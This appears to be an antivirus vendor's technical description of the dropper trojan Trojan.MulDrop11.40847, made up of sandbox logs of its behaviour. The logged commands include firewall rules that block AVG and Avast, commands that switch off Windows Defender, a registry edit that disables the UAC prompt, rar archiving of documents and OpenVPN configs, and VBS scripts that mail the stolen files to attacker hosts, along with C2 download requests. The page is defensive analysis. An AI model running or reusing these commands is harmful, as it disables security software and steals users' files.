Trojan.MulDrop11.40847

Technical Information

Malicious functions

To complicate detection of its presence in the operating system,

blocks execution of the following system utilities:

Windows Defender

Executes the following

'<SYSTEM32>\taskkill.exe' /im msseces.exe /f
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\Antivirus\avgmfapx.exe" protocol=any dir=in enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\Antivirus\avgmfapx.exe" protocol=any dir=out enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles%\AVG\Antivirus\avgmfapx.exe" protocol=any dir=in enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles%\AVG\Antivirus\avgmfapx.exe" protocol=any dir=out enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVAST Software\Avast\setup\instup.exe" protocol=any dir=in enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVAST Software\Avast\setup\instup.exe" protocol=any dir=out enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVAST Software\Avast\AvastSvc.exe" protocol=any dir=out enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles%\AVAST Software\Avast\avastui.exe" protocol=any dir=in enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVAST Software\Avast\avastui.exe" protocol=any dir=in enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVAST Software\Avast\avastui.exe" protocol=any dir=out enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles%\AVAST Software\Avast\setup\instup.exe" protocol=any dir=out enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles%\AVAST Software\Avast\setup\instup.exe" protocol=any dir=in enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles%\AVAST Software\Avast\AvastSvc.exe" protocol=any dir=in enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles%\AVAST Software\Avast\AvastSvc.exe" protocol=any dir=out enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles%\AVG\Setup\avgsetupx.exe" protocol=any dir=out enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVAST Software\Avast\AvastSvc.exe" protocol=any dir=in enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles%\AVG\Setup\avgsetupx.exe" protocol=any dir=in enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles%\AVG\avgsetupx.exe" protocol=any dir=in enable=yes action=block profile=any
'<SYSTEM32>\taskkill.exe' /F /IM MSASCui.exe
'<SYSTEM32>\taskkill.exe' /F /IM ByteFence.exe
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\avgsetupx.exe" protocol=any dir=in enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\avgsetupx.exe" protocol=any dir=out enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\avgmfapx.exe" protocol=any dir=in enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\avgmfapx.exe" protocol=any dir=out enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles%\AVG\avgsetupx.exe" protocol=any dir=out enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles%\AVG\Av\avgmfapx.exe" protocol=any dir=in enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles%\AVG\avgmfapx.exe" protocol=any dir=in enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles%\AVG\avgmfapx.exe" protocol=any dir=out enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\Av\avgmfapx.exe" protocol=any dir=in enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\Av\avgmfapx.exe" protocol=any dir=out enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\Setup\avgsetupx.exe" protocol=any dir=in enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles(x86)%\AVG\Setup\avgsetupx.exe" protocol=any dir=out enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles%\AVG\Av\avgmfapx.exe" protocol=any dir=out enable=yes action=block profile=any
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="F-Av" program="%ProgramFiles%\AVAST Software\Avast\avastui.exe" protocol=any dir=out enable=yes action=block profile=any

Modifies file system

Creates the following files

%TEMP%\b160.tmp\86x64-based-security-(c.o.s.r).bat
%WINDIR%\java\taskhosts.exe
%WINDIR%\syswow64\certificate-86x64.linux
%WINDIR%\syswow64\4_interruptsx86-based.exe
%WINDIR%\syswow64\4_interruptsx64-based.exe
%WINDIR%\syswow64\3_interruptsx86-based.exe
%WINDIR%\syswow64\3_interruptsx64-based.exe
%WINDIR%\syswow64\2_interruptsx86-based.exe
%WINDIR%\syswow64\2_interruptsx64-based.exe
%WINDIR%\syswow64\1_interruptsx64-based.exe
%PROGRAMDATA%\avg\av\db\exceptions.dat
%TEMP%\2c1e.tmp\microsoft_interrupts_86x64.bat
<Current directory>\defend'64™.apx
%TEMP%\275b.tmp\В .bat
%WINDIR%\syswow64\microsoft_interrupts_86x64-plc.exe
%TEMP%\ixp002.tmp\getapcc-v2.exe
%TEMP%\ixp002.tmp\(system.interrupts-on)firts™-v2.cer
%TEMP%\1a2c.tmp\getapcc-v2.bat
%WINDIR%\syswow64\1_interruptsx86-based.exe
<Current directory>\aescrypt9.5--(debknci').apx
%PROGRAMDATA%\avast software\avast\exclusions.ini
%TEMP%\c57f.tmp\sys etext interruptsx64.bat
%TEMP%\b39d.tmp\sys dtext interruptsx64.bat
<Current directory>\addme™.apx
<Current directory>\addme.deb
%TEMP%\a862.tmp\addme.bat
%PROGRAMDATA%\kaspersky lab\avp20.0.0\data\settings.kvdb-wal
%PROGRAMDATA%\kaspersky lab\avp19.0.0\data\settings.kvdb-wal
%PROGRAMDATA%\kaspersky lab\ksde3.0.0\data\settings.kvdb-wal
%TEMP%\ixp001.tmp\taskho~1.exe
%PROGRAMDATA%\avira\antivir desktop\config\avwin.ini
%PROGRAMDATA%\kaspersky lab\avp15.0.2\data\settings.kvdb-wal
<Current directory>\settings.kvdb-wal
%TEMP%\a4d8.tmp\dinding.bat
%TEMP%\88c5.tmp\sys e interruptsx64.bat
%WINDIR%\syswow64\system interrupts.vbs
%APPDATA%\mozilla\firefox\profiles\alkun-dat.txt
%TEMP%\6e47.tmp\sys d interruptsx64.bat
%TEMP%\systeminfo-x64-or-x86-based.txt
%PROGRAMDATA%\kaspersky lab\avp18.0.0\data\settings.kvdb-wal
%TEMP%\rarcek.txt
%TEMP%\ixp001.tmp\micros~1.exe
%TEMP%\ixp002.tmp\addreg--.exe
%TEMP%\ixp002.tmp\cac@-v2.exe
<Current directory>\--(c.o.s.r-v9.5').apx
<SYSTEM32>\-.lnk
<SYSTEM32>\secure1.bat
<SYSTEM32>\securedua-64bit.exe
<SYSTEM32>\secure2-64bit.exe
<SYSTEM32>\secure1-64bit.exe
nul
%TEMP%\sysinfo-c.o.s.r-v9.txt
%APPDATA%\mozilla\firefox\profiles\alkunvpn.txt
<SYSTEM32>\avwin.ini
<Current directory>\secure1+2x64.exe
<Current directory>\secure1+2x32.exe
<Current directory>\ex-kaspdinding.exe
<Current directory>\c.o.s.rberjalur64.exe
<Current directory>\c.o.s.rberjalur32.exe
<Current directory>\addmex64.exe
<Current directory>\addmex32.exe
<Current directory>\acgst-10-qknci.exe
<Current directory>\c.o.s.r-v9.5'.dat
%PROGRAMDATA%\kaspersky lab\ksde2.0.0\data\settings.kvdb-wal
<SYSTEM32>\exceptions.dat
<SYSTEM32>\2
<SYSTEM32>\exclusions.ini
%WINDIR%\syswow64\microsoft_interrupts_86x64-taskhosts-t9.exe
%WINDIR%\syswow64\cac@-v2+addreg.exe
%WINDIR%\syswow64\secure.arch'™.apx
%WINDIR%\syswow64\getrartime86x64.exe
%TEMP%\53d.tmp\get-timerar.bat
%WINDIR%\syswow64\getsrartimeВ®.exe
%TEMP%\ixp000.tmp\32-bit~1.exe
<SYSTEM32>\secure1+2-32bit™.apx
%TEMP%\ixp000.tmp\getsra~1.exe
%TEMP%\ebf8.tmp\sec-2.bat
<Current directory>\acgst-9.5.deb
<Current directory>\acgst-9.5'.dat
<Current directory>\acgst-9.5'--(debknci').apx
<Current directory>\acgst-10-knci.exe
<Current directory>\aescrypt2
<Current directory>\aescrypt2.exe
%TEMP%\eca4.tmp\--(debknci').bat
<Current directory>\acgst-10.exe
%WINDIR%\syswow64\microsoft_interrupts_86x64.vbs

Deletes the following files

%TEMP%\ixp000.tmp\32-bit~1.exe
%TEMP%\b39d.tmp\sys dtext interruptsx64.bat
%TEMP%\c57f.tmp\sys etext interruptsx64.bat
%TEMP%\systeminfo-x64-or-x86-based.txt
%APPDATA%\mozilla\firefox\profiles\alkunvpn.txt
%WINDIR%\syswow64\microsoft_interrupts_86x64.vbs
%WINDIR%\syswow64\1_interruptsx64-based.exe
%WINDIR%\syswow64\1_interruptsx86-based.exe
%WINDIR%\syswow64\2_interruptsx64-based.exe
%WINDIR%\syswow64\2_interruptsx86-based.exe
%WINDIR%\syswow64\3_interruptsx64-based.exe
%WINDIR%\syswow64\3_interruptsx86-based.exe
%WINDIR%\syswow64\4_interruptsx64-based.exe
%WINDIR%\syswow64\4_interruptsx86-based.exe
%WINDIR%\syswow64\certificate-86x64.linux
%TEMP%\2c1e.tmp\microsoft_interrupts_86x64.bat
<Current directory>\addme.deb
<Current directory>\addme™.apx
%TEMP%\a862.tmp\addme.bat
<Current directory>\secure1+2x64.exe
<Current directory>\acgst-10-qknci.exe
<Current directory>\ex-kaspdinding.exe
%TEMP%\sysinfo-c.o.s.r-v9.txt
<Current directory>\addmex32.exe
<Current directory>\addmex64.exe
<Current directory>\c.o.s.rberjalur32.exe
<Current directory>\secure1+2x32.exe
<Current directory>\--(c.o.s.r-v9.5').apx
%TEMP%\88c5.tmp\sys e interruptsx64.bat
<Current directory>\c.o.s.r-v9.5'.dat
%TEMP%\a4d8.tmp\dinding.bat
<Current directory>\c.o.s.rberjalur64.exe
%TEMP%\ixp000.tmp\getsra~1.exe
<Current directory>\acgst-10.exe
<Current directory>\aescrypt2.exe
<Current directory>\aescrypt2
<Current directory>\acgst-10-knci.exe
<Current directory>\acgst-9.5'--(debknci').apx
<Current directory>\acgst-9.5'.dat
<Current directory>\acgst-9.5.deb
<Current directory>\aescrypt9.5--(debknci').apx
%TEMP%\eca4.tmp\--(debknci').bat
%TEMP%\ixp001.tmp\taskho~1.exe
%TEMP%\ixp001.tmp\micros~1.exe
<SYSTEM32>\avwin.ini
<SYSTEM32>\exceptions.dat
<SYSTEM32>\exclusions.ini
<SYSTEM32>\secure1+2-32bit™.apx
<SYSTEM32>\2
%TEMP%\ebf8.tmp\sec-2.bat
%TEMP%\rarcek.txt
%WINDIR%\syswow64\getrartime86x64.exe
%WINDIR%\syswow64\secure.arch'™.apx
%TEMP%\53d.tmp\get-timerar.bat
%APPDATA%\mozilla\firefox\profiles\alkun-dat.txt
%WINDIR%\syswow64\system interrupts.vbs
%TEMP%\6e47.tmp\sys d interruptsx64.bat
<Current directory>\defend'64™.apx
%TEMP%\275b.tmp\В .bat
<Current directory>\settings.kvdb-wal
%TEMP%\b160.tmp\86x64-based-security-(c.o.s.r).bat

Moves the following system files

from <SYSTEM32>\wscapi.dll to <SYSTEM32>\wscapi.old
from <SYSTEM32>\wscsvc.dll to <SYSTEM32>\wscsvc.old

Substitutes the following files

%APPDATA%\mozilla\firefox\profiles\alkun-dat.txt
%WINDIR%\syswow64\system interrupts.vbs
%APPDATA%\mozilla\firefox\profiles\alkunvpn.txt

Network activity

Connects to

'ot####un.16mb.com':80

UDP

DNS ASK google.com
DNS ASK ot####un.16mb.com

Miscellaneous

Searches for the following windows

ClassName: 'EDIT' WindowName: ''
ClassName: '' WindowName: ''

Creates and executes the following

'%TEMP%\ixp001.tmp\micros~1.exe'
'%WINDIR%\syswow64\4_interruptsx64-based.exe'
'%WINDIR%\syswow64\microsoft_interrupts_86x64-taskhosts-t9.exe'
'%WINDIR%\syswow64\cac@-v2+addreg.exe'
'<Current directory>\ex-kaspdinding.exe'
'%WINDIR%\syswow64\microsoft_interrupts_86x64-plc.exe'
'<Current directory>\c.o.s.rberjalur64.exe'
'%WINDIR%\syswow64\2_interruptsx64-based.exe'
'%TEMP%\ixp001.tmp\taskho~1.exe'
'%TEMP%\ixp000.tmp\32-bit~1.exe'
'%WINDIR%\syswow64\1_interruptsx64-based.exe'
'<SYSTEM32>\secure1-64bit.exe'
'%TEMP%\ixp002.tmp\cac@-v2.exe'
'%TEMP%\ixp000.tmp\getsra~1.exe'
'<Current directory>\addmex64.exe'
'%TEMP%\ixp002.tmp\getapcc-v2.exe' --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" -N --tries=77 --read-timeout=300 http://ot####un.16mb.com/getapcc-v2/default.php
'<Current directory>\secure1+2x64.exe'
'<SYSTEM32>\secure2-64bit.exe'
'%WINDIR%\syswow64\getsrartimeВ®.exe'
'<SYSTEM32>\securedua-64bit.exe'
'%WINDIR%\syswow64\3_interruptsx64-based.exe'
'<Current directory>\aescrypt2.exe' 1 acgst-10-knci.exe acgst-10.exe @@AcgsT-10@@
'<Current directory>\acgst-10.exe'
'<Current directory>\acgst-10-qknci.exe'
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\2C1E.tmp\microsoft_interrupts_86x64.bat" "' (with hidden window)
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\275B.tmp\В .bat" "' (with hidden window)
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\A862.tmp\addme.bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\A4D8.tmp\dinding.bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\B39D.tmp\Sys DText interruptsx64.bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\6E47.tmp\Sys D interruptsx64.bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\B160.tmp\86x64-based-security-(c.o.s.r).bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\88C5.tmp\Sys E interruptsx64.bat" "' (with hidden window)
'%TEMP%\ixp000.tmp\getsra~1.exe' ' (with hidden window)
'%TEMP%\ixp002.tmp\cac@-v2.exe' ' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\53D.tmp\get-timerar.bat" "' (with hidden window)
'%TEMP%\ixp000.tmp\32-bit~1.exe' ' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\ECA4.tmp\--(debknci').bat" "' (with hidden window)
'%TEMP%\ixp001.tmp\micros~1.exe' ' (with hidden window)
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\EBF8.tmp\sec-2.bat" "' (with hidden window)
'%TEMP%\ixp001.tmp\taskho~1.exe' ' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\1A2C.tmp\getapcc-v2.bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\C57F.tmp\Sys EText interruptsx64.bat" "' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\B160.tmp\86x64-based-security-(c.o.s.r).bat" "
'%ProgramFiles%\winrar\rar.exe' a -ep1 -r "%APPDATA%\Mozilla\Firefox\profiles\alkun-dat.txt" "d:\*.json"
'%ProgramFiles%\winrar\rar.exe' a -ep1 -r "%APPDATA%\Mozilla\Firefox\profiles\alkun-dat.txt" "d:\*.docx"
'%ProgramFiles%\winrar\rar.exe' a -ep1 -r "%APPDATA%\Mozilla\Firefox\profiles\alkun-dat.txt" "d:\*.xlsx"
'%WINDIR%\syswow64\attrib.exe' +h %HOMEPATH%\AppData
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\6E47.tmp\Sys D interruptsx64.bat" "
'%WINDIR%\syswow64\cmd.exe' /S /D /c" type "%TEMP%\systeminfo-x64-or-x86-based.txt" "
'%WINDIR%\syswow64\cscript.exe' /nologo "system interrupts.vbs" cm@ssh.16mb.com cm@ssh.16mb.com "user" "superdata ( x64-based PC) vasyqrhlyen ( D docx + xlsx + json )+Port587+serverbaru(mx1*hostinger*co*id)" mx1.hostinger.co....
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v AutoShareWKS /t REG_DWORD /d 00000001 /f
'<SYSTEM32>\reg.exe' delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f /v MSC
'<SYSTEM32>\sc.exe' delete "rtop"
'<SYSTEM32>\sc.exe' config "rtop" start= disabled
'<SYSTEM32>\sc.exe' stop "rtop"
'<SYSTEM32>\sc.exe' config WerSvc start= disabled
'<SYSTEM32>\sc.exe' stop WerSvc
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 00000000 /f
'%ProgramFiles%\winrar\rar.exe' a -ep1 -r "%APPDATA%\Mozilla\Firefox\profiles\alkun-dat.txt" "e:\*.json"
'%ProgramFiles%\winrar\rar.exe' a -ep1 -r "%APPDATA%\Mozilla\Firefox\profiles\alkunvpn.txt" "%ProgramFiles(x86)%\OpenVPN\config\*.*"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%WINDIR%\SysWOW64\java"
'%WINDIR%\syswow64\cscript.exe' /nologo "system interrupts.vbs" cm@ssh.16mb.com cm@ssh.16mb.com "user" "superdata ( x64-based PC) vasyqrhlyen ( E Txt )+Port587+serverbaru(mx1*hostinger*co*id)" mx1.hostinger.co.id cm@ssh.16mb....
'%ProgramFiles%\winrar\rar.exe' a -ep1 -r "%APPDATA%\Mozilla\Firefox\profiles\alkun-dat.txt" "e:\*.txt"
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\C57F.tmp\Sys EText interruptsx64.bat" "
'%WINDIR%\syswow64\cscript.exe' /nologo "system interrupts.vbs" cm@ssh.16mb.com cm@ssh.16mb.com "user" "superdata ( x64-based PC) vasyqrhlyen ( D Txt )+Port587+serverbaru(mx1*hostinger*co*id)" mx1.hostinger.co.id cm@ssh.16mb....
'%ProgramFiles%\winrar\rar.exe' a -ep1 -r "%APPDATA%\Mozilla\Firefox\profiles\alkun-dat.txt" "d:\*.txt"
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\B39D.tmp\Sys DText interruptsx64.bat" "
'<SYSTEM32>\sc.exe' delete UxSms
'%WINDIR%\syswow64\cscript.exe' /nologo "system interrupts.vbs" cm@ssh.16mb.com cm@ssh.16mb.com "user" "superdata ( x64-based PC) vasyqrhlyen ( E docx + xlsx + json )+Port587+serverbaru(mx1*hostinger*co*id)" mx1.hostinger.co....
'%ProgramFiles%\winrar\rar.exe' a -ep1 -r "%APPDATA%\Mozilla\Firefox\profiles\alkun-dat.txt" "e:\*.docx"
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\A862.tmp\addme.bat" "
'%ProgramFiles%\winrar\rar.exe' a -ep1 -r "%APPDATA%\Mozilla\Firefox\profiles\alkun-dat.txt" "e:\*.xlsx"
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\A4D8.tmp\dinding.bat" "
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%WINDIR%\SysWOW64"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "<SYSTEM32>"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%WINDIR%\java"
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\88C5.tmp\Sys E interruptsx64.bat" "
'%WINDIR%\syswow64\cmd.exe' /S /D /c" type "%TEMP%\rarcek.txt";"%TEMP%\rarcek86.txt" "
'<SYSTEM32>\icacls.exe' <SYSTEM32>\wscui.dll /grant administrators:F
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\53D.tmp\get-timerar.bat" "
'<SYSTEM32>\takeown.exe' /f <SYSTEM32>\wscui.cpl
'<SYSTEM32>\icacls.exe' <SYSTEM32>\wscsvc.dll /grant administrators:F
'<SYSTEM32>\takeown.exe' /f <SYSTEM32>\wscsvc.dll
'<SYSTEM32>\icacls.exe' <SYSTEM32>\wscapi.dll /grant administrators:F
'<SYSTEM32>\msiexec.exe' /x {8F023021-A7EB-45D3-9269-D65264C81729} /quiet
'%WINDIR%\syswow64\ping.exe' -n 1 www.google.com
'<SYSTEM32>\takeown.exe' /f <SYSTEM32>\wscapi.dll
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\EBF8.tmp\sec-2.bat" "
'<SYSTEM32>\cmd.exe' /C "<SYSTEM32>\secure1.bat"
'%WINDIR%\syswow64\findstr.exe' "x64-based"
'%WINDIR%\syswow64\cmd.exe' /S /D /c" type "%TEMP%\sysinfo-c.o.s.r-v9.txt" "
'%WINDIR%\syswow64\findstr.exe' /B /C:"OS Name" /C:"System Type" /C:"Host Name"
'%WINDIR%\syswow64\systeminfo.exe'
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\ECA4.tmp\--(debknci').bat" "
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\2C1E.tmp\microsoft_interrupts_86x64.bat" "
'%WINDIR%\syswow64\cmd.exe' /S /D /c" dir "%ProgramFiles(x86)%\WinRAR" "
'<SYSTEM32>\sc.exe' stop WinDefend
'<SYSTEM32>\sc.exe' delete newserv
'%WINDIR%\syswow64\findstr.exe' "WinRAR.exe"
'%WINDIR%\syswow64\cmd.exe' /S /D /c" dir "%ProgramFiles%\WinRAR" "
'<SYSTEM32>\sc.exe' stop newserv
'<SYSTEM32>\sc.exe' delete "NanoServiceMain"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true
'<SYSTEM32>\sc.exe' stop UxSms
'<SYSTEM32>\sc.exe' stop "NanoServiceMain"
'<SYSTEM32>\sc.exe' delete "avast! Antivirus"
'%WINDIR%\syswow64\ping.exe' -n 1 23.6.98.234
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\275B.tmp\В .bat" "
'<SYSTEM32>\sc.exe' stop "avast! Antivirus"
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\1A2C.tmp\getapcc-v2.bat" "
'<SYSTEM32>\sc.exe' config WinDefend start= disabled
'%WINDIR%\syswow64\find.exe' "TTL="
'%WINDIR%\syswow64\cscript.exe' /nologo "microsoft_interrupts_86x64.vbs" cm@ssh.16mb.com cm@ssh.16mb.com "user " " Take Fol OVPN ( ini perintah di akhir superdata )+Port587+serverbaru(mx1*hostinger*co*id)" mx1.hostinger.co.id...

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial